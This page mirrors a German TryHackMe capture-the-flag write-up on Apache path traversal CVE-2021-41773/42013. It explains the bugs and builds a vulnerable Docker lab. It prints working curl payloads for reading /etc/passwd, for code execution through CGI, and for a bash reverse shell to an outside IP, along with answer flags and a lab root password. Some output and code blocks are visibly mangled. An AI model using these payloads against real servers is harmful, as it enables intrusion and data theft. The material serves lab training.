Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CTF_WRITEUPS-TryHackMe-CVE-2021-41773- — CTF_WRITEUPS/TryHackMe /CVE-2021-41773/ | Kitploit
Tools/GitHubGitHub/hackedrishi/ctf_writeups-tryhackme-cve-2021-41773-
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitCTFLernen & BildungLabs & Praxis
GitHubhackedrishi/ctf_writeups-tryhackme-cve-2021-41773-

CTF_WRITEUPS-TryHackMe-CVE-2021-41773-

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CTF_WRITEUPS/TryHackMe /CVE-2021-41773/

Repository anzeigen
vor 11 MonatenNoch nicht geprüft

CTF_WRITEUPS-TryHackMe-CVE-2021-41773-

CTF_WRITEUPS/TryHackMe /CVE-2021-41773/

CVE-2021-41773/42013

Eine kleine Erklärung eines Apache-Pfad-Traversal-Bugs und einer unvollständigen Behebung

Task 1: Ein bisschen Hintergrund...

Eine kurze Geschichte

Am 5. Oktober 2021 wurde eine CVE veröffentlicht, die einen Pfad-Traversal-Angriff auf Apache HTTP Server v2.4.49 beschreibt. Mit der Nummer CVE-2021-41773 versehen, wurde sie mit folgender Beschreibung veröffentlicht:

Es wurde ein Fehler in einer Änderung der Pfadnormalisierung in Apache HTTP Server 2.4.49 gefunden. Ein Angreifer könnte einen Pfad-Traversal-Angriff nutzen, um URLs auf Dateien außerhalb des erwarteten Dokumentenwurzelverzeichnisses abzubilden. Wenn Dateien außerhalb des Dokumentenwurzelverzeichnisses nicht durch "require all denied" geschützt sind, können diese Anfragen erfolgreich sein. Zusätzlich könnte dieser Fehler die Quelle interpretierter Dateien wie CGI-Skripte preisgeben. Dieses Problem wird bekanntermaßen im Internet ausgenutzt. Dieses Problem betrifft nur Apache 2.4.49 und nicht frühere Versionen.

Lassen Sie uns dies aufschlüsseln und sehen, was das tatsächlich für uns bedeutet:

  • Aus dem ersten Teil sehen wir, dass eine kürzliche Änderung den Fehler offengelegt hat. Pfadnormalisierung bedeutet, dass wir einen gegebenen Pfad in eine kanonische Form umwandeln, die die Software verstehen kann, und ihn so auf das tatsächliche Dateisystem abbilden. Dies führt uns bereits zu dem Verdacht auf einen Pfad-Traversal-Angriff, der potenziell unbeabsichtigte Dateien lesen kann.
  • Der nächste Teil bestätigt unseren Verdacht, und wir sind in der Lage, einen Pfad-Traversal-Angriff zu nutzen, um Ressourcen außerhalb des beabsichtigten Bereichs zu lesen.
  • Wir sehen, dass eine sehr spezielle Konfiguration erforderlich ist. Dateien außerhalb des Dokumentenwurzelverzeichnisses müssen explizit Berechtigungen erhalten. Dies ist nicht die Standardkonfiguration und sollte daher diesen Exploit gegen einen großen Teil der Apache-Hosts unwirksam machen (glücklicherweise).
  • Der nächste Teil spricht über CGI-Skripte, was uns fälschlicherweise zu der Annahme verleitet, dass CGI für diesen Angriff aktiviert sein muss oder dass der Pfad in irgendeiner Weise CGI involviert.
  • Selbst wenn unsere Konfiguration nicht direkt von diesem Fehler betroffen ist, möchten wir dennoch die verwundbaren Versionen so schnell wie möglich aktualisieren.

Viel später repariert...

Also hat Apache diesen Fehler behoben und die Version 2.4.50 veröffentlicht. Ende der Geschichte, oder? Nun, nicht ganz. Nur 2 Tage später, am 7. Oktober, wurde eine neue CVE veröffentlicht, die sich auf die vorherige bezog. Diese erwähnt, dass die Behebung des früheren Pfad-Traversal-Angriffs unvollständig war und wir immer noch traversieren konnten, wenn der betreffende Pfad eine Alias-Direktive verwendete, um seine URLs auf das Dateisystem abzubilden. Der CVE wurde die Nummer CVE-2021-42013 zugewiesen, mit der folgenden Beschreibung:

Es wurde festgestellt, dass die Behebung für CVE-2021-41773 in Apache HTTP Server 2.4.50 unzureichend war. Ein Angreifer könnte einen Pfad-Traversal-Angriff nutzen, um URLs auf Dateien außerhalb der durch Alias-ähnliche Direktiven konfigurierten Verzeichnisse abzubilden. Wenn Dateien außerhalb dieser Verzeichnisse nicht durch die übliche Standardkonfiguration "require all denied" geschützt sind, können diese Anfragen erfolgreich sein. Wenn CGI-Skripte auch für diese Alias-Pfade aktiviert sind, könnte dies eine Remote-Code-Ausführung ermöglichen. Dieses Problem betrifft nur Apache 2.4.49 und Apache 2.4.50 und nicht frühere Versionen.

Wie zuvor können wir hier einiges lernen:

  • Während der erste Exploit angeblich behoben wurde, gibt es eine weitere Eingabe, die das Traversal ermöglicht (merken Sie sich das für später).
  • Jetzt sind wir auf Alias-Pfad-Direktiven beschränkt.
  • Verzeichnisse außerhalb der üblichen Pfade benötigen immer noch explizite Berechtigungen.
  • Wenn CGI aktiviert ist, können wir zusätzlich zur einfachen Offenlegung auch RCE erreichen 😲

Während wir diesen Wahnsinn verarbeiten, werden wir uns in der nächsten Aufgabe mit der erforderlichen Konfiguration befassen.

Beantworten Sie die folgenden Fragen

  1. Welche Version von Apache httpd war ursprünglich für diese CVE anfällig?
  • 2.4.49
  1. Diese Verwundbarkeit erfordert eine ungewöhnliche Fehlkonfiguration, um ausgenutzt werden zu können (Ja/Nein)
  • Yea

Task 2 Was ist überhaupt ein Pfad-Traversal?

Ein bisschen Theorie

Ein Pfad-Traversal-Exploit ist ein Angriff, der darauf abzielt, auf Ressourcen zuzugreifen, die normalerweise nicht zugänglich sind, indem er Schwachstellen in der Pfadauflösung und/oder -normalisierung ausnutzt. Wir nutzen diese Art von Angriff normalerweise aus, indem wir uns mit der ..-Syntax rückwärts (auch als traversieren bezeichnet) über die angenommene Wurzel hinaus bewegen.

Normalisierung? Was?

Normalerweise ist bei der Angabe eines Pfades für einen Code, um eine Datei zu finden, ein absoluter Pfad erforderlich. Nennen wir diesen den kanonischen Pfad. Wenn stattdessen ein relativer Pfad angegeben wird, muss dieser in eine kanonische Form normalisiert werden, damit die Betriebssystembibliotheken, die diesen Pfad verwenden, die betreffende Ressource dann finden können. Dies ist natürlich eine Vereinfachung, aber der Kern bleibt bestehen.

Im Allgemeinen gibt es Plattformbibliotheken, die diese Normalisierung für uns durchführen, aber in C/C++ müssen wir normalerweise alles selbst machen. Dies kann zwar etwas Flexibilität bieten, aber auch leicht Schwachstellen einführen, wenn unsere Implementierung nicht perfekt ist.

Normalisierung von URLs

Ein HTTP-Server muss eine URL in einen kanonischen Pfad im Dateisystem übersetzen, um die richtige Datei zum Ausliefern zu finden. Obwohl es definitiv einige Filter gibt, um ein Traversieren über das Dokumentenwurzelverzeichnis hinaus zu verhindern, können einige Anwendungsfälle leicht übersehen werden. In diesem Fall nutzt der Exploit nicht nur die URL-Kodierung (darauf kommen wir gleich zurück), sondern auch einen Fehler in der Pfadnormalisierung des Alias-Moduls (angeblich).

Ein Exkurs zur URL-Kodierung

Definiert in RFC 3986 Abschnitt 2, ist die URL-Kodierung ein Schema zur Kodierung von Sonder- oder reservierten Zeichen innerhalb einer URL. Beispielsweise werden Leerzeichen in einer URL als +-Zeichen kodiert (insbesondere in Abfrageparametern). Wenn wir ein tatsächliches Plus kodieren möchten, müssen wir es mit einer sogenannten "Prozentkodierung" kodieren. Dabei wird dem US-ASCII-Hexadezimalcode des Zeichens einfach ein %-Zeichen vorangestellt. In unserem Beispiel kann das +-Symbol als %2B kodiert werden.

Jedes Zeichen kann URL-kodiert werden, und vollständig URL-kodierte URLs sind funktional äquivalent zur nicht kodierten Version. Aus dem RFC: Wenn zwei URIs sich nur in der Groß-/Kleinschreibung der hexadezimalen Ziffern unterscheiden, die in prozentkodierten Oktetten verwendet werden, sind sie äquivalent.

Was ist also mit Apache passiert?

Eine kürzliche Änderung im Pfadnormalisierungsmodul des Apache-Servers ermöglichte es dann, dass eine speziell gestaltete URL die Filter umgehen und über das Dokumentenwurzelverzeichnis hinaus traversieren konnte, was ein beliebiges Dateilesen auf dem System ermöglichte, wenn die Konfiguration dies erlaubte. Darüber hinaus ist, wenn das CGI-Modul aktiviert ist, auch eine beliebige Dateiausführung möglich!

Beantworten Sie die folgenden Fragen

  1. Ein Pfad-Traversal-Exploit wird (wählen Sie die beste Antwort):

A) Beliebige entfernte Dateien einbinden, die auf dem Server verarbeitet werden. B) Beliebige lokale Dateien einbinden, die auf dem Server verarbeitet werden. C) Ermöglicht, dass beliebige Dateien vom Server preisgegeben werden. D) Keine der obigen.

  • C
  1. URL-kodieren Sie das .-Symbol
  • %2E
  1. Was dekodiert dieses URL-Fragment zu: %%32%65 ?
  • %2E

Task 3 Ok, Ok; Gib Hax!

Apache für Spaß hacken

Nachdem die Theorie nun vorbei ist, wollen wir diese Schwachstelle ausnutzen. Zuerst brauchen wir eine anfällige Version von Apache. Zum Glück haben wir Docker dafür :)```
user@machine$ docker pull httpd:2.4.49 2.4.49: Pulling from library/httpd 07aded7c29c6: Already exists 05bb40c8f148: Already exists 0827b74117da: Already exists 35a526fdcc7d: Pull complete 59fed288cd32: Pull complete Digest: sha256:dcba0d12e2362fb0c50ec524ae8aa1cca4a4ba7216617a57e7bbca20767e79cc Status: Downloaded newer image for httpd:2.4.49 docker.io/library/httpd:2.4.49

root@kitploit:~
**Konfiguration**

Damit dieser Exploit funktioniert, müssen wir Apache so konfigurieren, dass der Zugriff auf Dateien außerhalb des Document Root erlaubt ist. Wir können präzise sein und ein bestimmtes Verzeichnis angeben, oder wir gehen den YOLO-Weg und gewähren Zugriff auf alles. Für unsere Zwecke wird „alles“ bestens funktionieren. Lassen Sie uns zunächst unseren Container starten und an der Konfiguration herumstochern. Beachten Sie, dass diese Änderungen für beide anfälligen Versionen von Apache funktionieren.```
user@machine$ docker run --name vuln-httpd -p 8080:80 -d httpd:2.4.49
a4dfc0376d93dc62183982a527b0bef62543e7a91178116bb0480a42ecc0c8dd

user@machine$ docker cp vuln-httpd:/usr/local/apache2/conf/httpd.conf .

user@machine$ grep -C4 -n "Require all denied" httpd.conf
246-# <Directory> blocks below.
247-#
248-<Directory />
249-    AllowOverride none
250:    Require all denied
251-</Directory>
252-
253-#
254-# Note that from this point forward you must specifically allow
--
303-# The following lines prevent .htaccess and .htpasswd files from being
304-# viewed by Web clients.
305-#
306-<Files ".ht*">
307:    Require all denied
308-</Files>
309-
310-#
311-# ErrorLog: The location of the error log file.

user@machine$ sed "250s/denied/granted/" httpd.conf > httpd.new.conf

user@machine$ docker cp http.new.conf vuln-httpd:/usr/local/apache2/conf/httpd.conf

user@machine docker container restart vuln-httpd
vuln-httpd

Nebenbei bemerkt, können Sie die Konfiguration jederzeit von Hand ändern. Wir möchten den Teil ändern, der Folgendes sagt:``` AllowOverride none Require all denied

root@kitploit:~
Und ersetze `denied` durch `granted`. Dies gibt Apache Zugriff auf das gesamte Dateisystem (was definitiv KEINE gute Idee ist, also mach das niemals in der Produktion. Niemals).

**Konfiguration für das saftige RCE**

Allein das Ändern der Zugriffskontrollen führt zu Datenexposition, aber nicht zu RCE. Um in unserem kleinen PoC RCE zu erreichen, müssen wir lediglich zusätzlich zu den Zugriffsberechtigungen das CGI-Modul aktivieren. Dies führt dazu, dass das CGI-Modul das Skript ausführt, wenn wir es aufrufen, anstatt nur seinen Inhalt anzuzeigen. Um CGI zu aktivieren, müssen wir lediglich die `LoadModule`-Konfiguration auskommentieren. Angenommen, wir haben noch den Container, den wir zuvor geändert haben, können wir Folgendes tun:```
user@machine$ docker cp vuln-httpd:/usr/local/apache2/conf/httpd.conf .

user@machine$ grep -C4 -n "mod_cgi" httpd.conf
180-#LoadModule asis_module modules/mod_asis.so
181-#LoadModule info_module modules/mod_info.so
182-#LoadModule suexec_module modules/mod_suexec.so
183-<IfModule !mpm_prefork_module>
184:    #LoadModule cgid_module modules/mod_cgid.so
185-</IfModule>
186-<IfModule mpm_prefork_module>
187:    #LoadModule cgi_module modules/mod_cgi.so
188-</IfModule>
189-#LoadModule dav_fs_module modules/mod_dav_fs.so
190-#LoadModule dav_lock_module modules/mod_dav_lock.so
191-#LoadModule vhost_alias_module modules/mod_vhost_alias.so
--
385-
386-<IfModule cgid_module>
387-    #
388-    # ScriptSock: On threaded servers, designate the path to the UNIX
389:    # socket used to communicate with the CGI daemon of mod_cgid.
390-    #
391-    #Scriptsock cgisock
392-</IfModule>
393-

user@machine$ sed "184,187s/#//" httpd.conf > httpd.new.conf

user@machine$ docker cp http.new.conf vuln-httpd:/usr/local/apache2/conf/httpd.conf

user@machine docker container restart vuln-httpd
vuln-httpd

Sie können natürlich jeden verfügbaren Texteditor verwenden, um die Dateien zu bearbeiten. Die Methode mit grep/sed funktioniert mit einer Shell innerhalb des Containers, da keine Texteditoren verfügbar sind.

Endlich zu den Exploits!

Nachdem wir nun unseren Container eingerichtet haben, können wir endlich mit dem Ausnutzen dieser CVE beginnen. Die Methode ist recht einfach und besteht darin, einen der .-Symbole in jedem URL-Pfadsegment während des Traversierens URL-codiert darzustellen. Wir müssen auch von einem aliasierten Pfad aus traversieren. Glücklicherweise wissen wir aus dem Lesen der Konfiguration, dass der Pfad cgi-bin standardmäßig aliasiert ist, also lassen Sie uns diesen verwenden! Der Exploit unterscheidet sich leicht zwischen Version 2.4.49 und 2.4.50, wobei letztere auch mit der ersteren funktioniert. Apache 2.4.49 ohne CGI-Unterstützung

Ohne CGI-Unterstützung können wir nur Dateien lesen. Mit curl greifen wir einfach auf die gewünschten Dateien zu, indem wir einen der . in jedem Pfadsegment URL-codieren.``` user@machine$ curl -v 'http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd'

  • Trying 127.0.0.1:8080...
  • Connected to localhost (127.0.0.1) port 8080 (#0)

GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1 Host: localhost:8080 User-Agent: curl/7.74.0 Accept: /

  • Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Date: Mon, 11 Oct 2021 10:58:04 GMT < Server: Apache/2.4.49 (Unix) < Last-Modified: Mon, 27 Sep 2021 00:00:00 GMT < ETag: "39e-5cceec7356000" < Accept-Ranges: bytes < Content-Length: 926 < root❌0:0:root:/root:/bin/bash daemon❌1:1:daemon:/usr/sbin:/usr/sbin/nologin bin❌2:2:bin:/bin:/usr/sbin/nologin sys❌3:3:sys:/dev:/usr/sbin/nologin sync❌4:65534:sync:/bin:/bin/sync games❌5:60:games:/usr/games:/usr/sbin/nologin man❌6:12👨/var/cache/man:/usr/sbin/nologin lp❌7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail❌8:8:mail:/var/mail:/usr/sbin/nologin news❌9:9:news:/var/spool/news:/usr/sbin/nologin uucp❌10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy❌13:13:proxy:/bin:/usr/sbin/nologin www-data❌33:33:www-data:/var/www:/usr/sbin/nologin backup❌34:34:backup:/var/backups:/usr/sbin/nologin list❌38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc❌39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats❌41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody❌65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt❌100:65534::/nonexistent:/usr/sbin/nologin
  • Connection #0 to host localhost left intact
root@kitploit:~
**Apache 2.4.49 mit aktiviertem CGI**

CGI wird die Sache verkomplizieren, da das Modul versucht, die abgerufene Datei auszuführen. Bei Klartext wie /etc/passwd kann das problematisch sein :). Um Code auszuführen, können wir einfach `sh` oder `bash` mit dem Befehl im Body aufrufen. Beachten Sie, dass der Content-Type-Antwortheader ebenfalls gesendet werden muss, damit der Client weiß, wie die Ergebnisse angezeigt werden sollen.```
user@machine$  curl -v 'http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash' -d 'echo Content-Type: text/plain; echo; cat /etc/passwd' -H "Content-Type: text/plain"
*   Trying 127.0.0.1:8080...
* Connected to localhost (127.0.0.1) port 8080 (#1)
> POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/7.74.0
> Accept: */*
> Content-Type: text/plain
> Content-Length: 52
>
* upload completely sent off: 52 out of 52 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Mon, 11 Oct 2021 12:22:34 GMT
< Server: Apache/2.4.49 (Unix)
< Transfer-Encoding: chunked
< Content-Type: text/plain
<
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
* Connection #1 to host localhost left intact

Apache 2.4.50

Dieses spezielle Beispiel wurde in Version 2.4.50 behoben. Allerdings war die Behebung unvollständig und berücksichtigte keine doppelte Kodierung der URL. In diesem Fall können wir die gleiche Struktur wie in der vorherigen Version verwenden, mit folgendem Pfad:``` user@machine$ curl 'http://localhost:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd' root❌0:0:root:/root:/bin/bash daemon❌1:1:daemon:/usr/sbin:/usr/sbin/nologin bin❌2:2:bin:/bin:/usr/sbin/nologin sys❌3:3:sys:/dev:/usr/sbin/nologin sync❌4:65534:sync:/bin:/bin/sync games❌5:60:games:/usr/games:/usr/sbin/nologin man❌6:12👨/var/cache/man:/usr/sbin/nologin lp❌7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail❌8:8:mail:/var/mail:/usr/sbin/nologin news❌9:9:news:/var/spool/news:/usr/sbin/nologin uucp❌10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy❌13:13:proxy:/bin:/usr/sbin/nologin www-data❌33:33:www-data:/var/www:/usr/sbin/nologin backup❌34:34:backup:/var/backups:/usr/sbin/nologin list❌38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc❌39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats❌41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody❌65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt❌100:65534::/nonexistent:/usr/sbin/nologin

root@kitploit:~
Wenn wir genau hinschauen, sehen wir, dass die URL von `%%32%65` zu `%2e.` dekodiert wird. Dies umgeht den Filtercode und ermöglicht es uns, außerhalb des Webserver-Root-Verzeichnisses zu navigieren.

**Beantworte die folgenden Fragen**

1. **Welches Modul muss aktiviert werden, um Remote-Code-Ausführung zu erhalten?**
- **mod_cgi**

---

### Aufgabe 4: Praktische Prüfung

Die Konfiguration ist etwas aufwendig, daher habe ich alles für dich erledigt! In der zu dieser Aufgabe gehörenden VM (Bitte warte bis zu 4 Minuten für den ordnungsgemäßen Start einer Abonnenten-VM und 7 Minuten für die kostenlose VM) gibt es 4 anfällige Apache-Server, die wie folgt konfiguriert sind:

    Apache 2.4.49 without CGI: `http://MACHINE_IP:8080`
    Apache 2.4.49 with CGI: `http://MACHINE_IP:8081`
    Apache 2.4.50 without CGI: `http://MACHINE_IP:8082`
    Apache 2.4.50 with CGI: `http://MACHINE_IP:8083`

Jeder Server hat eine Flagge im Stammverzeichnis mit dem Namen `flag.txt`. Deine Aufgabe ist es, sie alle zu finden.

Als Bonusaufgabe versuche, eine echte Shell auf einem der CGI-fähigen Server zu erhalten. Der Server auf Port 8083 hat auch eine versteckte Root-Flagge.

***Beantworte die folgenden Fragen***

1. **Was ist die Flagge auf Port 8080?**
- ***THM{724V3R51N6_P4TH5_F02_FUN}***```
$ curl -v http://10.10.107.169:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/flag.txt

- Trying 10.10.107.169:8080...
- TCP_NODELAY set
  % Total % Received % Xferd Average Speed Time Time Time Current
  Dload Upload Total Spent Left Speed
  0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0\* Connected to 10.10.107.169 (10.10.107.169) port 8080 (#0)
  > GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/flag.txt HTTP/1.1
  > Host: 10.10.107.169:8080
  > User-Agent: curl/7.67.0
  > Accept: _/_
- Mark bundle as not supporting multiuse
  < HTTP/1.1 200 OK
  < Date: Wed, 10 Nov 2021 08:57:26 GMT
  < Server: Apache/2.4.49 (Unix)
  < Last-Modified: Mon, 11 Oct 2021 09:16:12 GMT
  < ETag: "1d-5ce102e25be36"
  < Accept-Ranges: bytes
  < Content-Length: 29
  < Content-Type: text/plain
  <
  { [29 bytes data]
  100 29 100 29 0 0 29 0 0:00:01 --:--:-- 0:00:01 29THM{724V3R51N6_P4TH5_F02_FUN}
- Connection #0 to host 10.10.107.169 left intact

  1. Was ist die Flagge auf Port 8081?
  • THM{2C3_F20M_C61}``` $ curl -v 'http://10.10.107.169:8081/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash' -d 'echo Content-Type: text/plain; echo; cat /flag.txt' -H "Content-Type: text/plain"

  • Trying 10.10.107.169:8081...

  • TCP_NODELAY set % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Connected to 10.10.107.169 (10.10.107.169) port 8081 (#0)

    POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash HTTP/1.1 Host: 10.10.107.169:8081 User-Agent: curl/7.67.0 Accept: / Content-Type: text/plain Content-Length: 50

    } [50 bytes data]

  • upload completely sent off: 50 out of 50 bytes

  • Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Date: Wed, 10 Nov 2021 09:01:11 GMT < Server: Apache/2.4.49 (Unix) < Transfer-Encoding: chunked < Content-Type: text/plain < { [23 bytes data] 100 67 0 17 100 50 18 54 --:--:-- --:--:-- --:--:-- 74THM{2C3_F20M_C61}

  • Connection #0 to host 10.10.107.169 left intact

root@kitploit:~
3. **Wie lautet die Flagge auf Port 8082?**
- ***THM{D0UBL3_3NC0D1N6_F7W}***```
$ curl 'http://10.10.37.52:8082/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/flag.txt'
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 24 100 24 0 0 23 0 0:00:01 0:00:01 --:--:-- 23THM{D0UBL3_3NC0D1N6_F7W}

  1. Was ist die Flagge auf Port 8083?
  • THM{F1L732_8YP455_2C3}``` $ curl 'http://10.10.37.52:8083/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash' -d 'echo Content-Type: text/plain; echo; cat /flag.txt' -H "Content-Type: text/plain" % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 72 0 22 100 50 25 58 --:--:-- --:--:-- --:--:-- 84THM{F1L732_8YP455_2C3}
root@kitploit:~
5. **Ich konnte eine Shell öffnen! (Ich kann das nicht wirklich überprüfen, also vertraue ich dir da mal :))**
***Keine Antwort erforderlich***

6. **Als welcher Benutzer läuft der Apache-Server?**
- ***daemon***

7. **Finde die Root-Flag auf der Maschine auf Port 8083?**
- ***THM{P21V_35C_F20M_4P4CH3_15_FUN}***```
$ curl -v 'http://10.10.37.52:8083/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash' -d 'echo; bash -i >& /dev/tcp/10.17.31.150/4242 0>&1'

- Trying 10.10.37.52:8083...
- TCP_NODELAY set
  % Total % Received % Xferd Average Speed Time Time Time Current
  Dload Upload Total Spent Left Speed
  0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0\* Connected to 10.10.37.52 (10.10.37.52) port 8083 (#0)
  > POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash HTTP/1.1
  > Host: 10.10.37.52:8083
  > User-Agent: curl/7.67.0
  > Accept: _/_
  > Content-Length: 48
  > Content-Type: application/x-www-form-urlencoded
  >
  > } [48 bytes data]
- upload completely sent off: 48 out of 48 bytes
- Mark bundle as not supporting multiuse
  < HTTP/1.1 200 OK
  < Date: Fri, 12 Nov 2021 16:20:43 GMT
  < Server: Apache/2.4.50 (Unix)
  < Transfer-Encoding: chunked
  <
  100 48 0 0 0 48 0 0 --:--:-- 0:01:05 --:--:-- 0{ [0 bytes data]
- transfer closed with outstanding read data remaining
  100 48 0 0 0 48 0 0 --:--:-- 0:01:05 --:--:-- 0
- Closing connection 0
  curl: (18) transfer closed with outstanding read data remaining

EINGABE:``` $ ncat -lvp 4242 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::4242 Ncat: Listening on 0.0.0.0:4242 Ncat: Connection from 10.10.37.52. Ncat: Connection from 10.10.37.52:35836. bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell daemon@18c7613b3859:/bin$ cd /root cd /root bash: cd: /root: Permission denied daemon@18c7613b3859:/bin$ su root su root Password: ApacheCVE

cd /root

ls root.txt cat root.txt THM{P21V_35C_F20M_4P4CH3_15_FUN}

root@kitploit:~
Tool herunterladen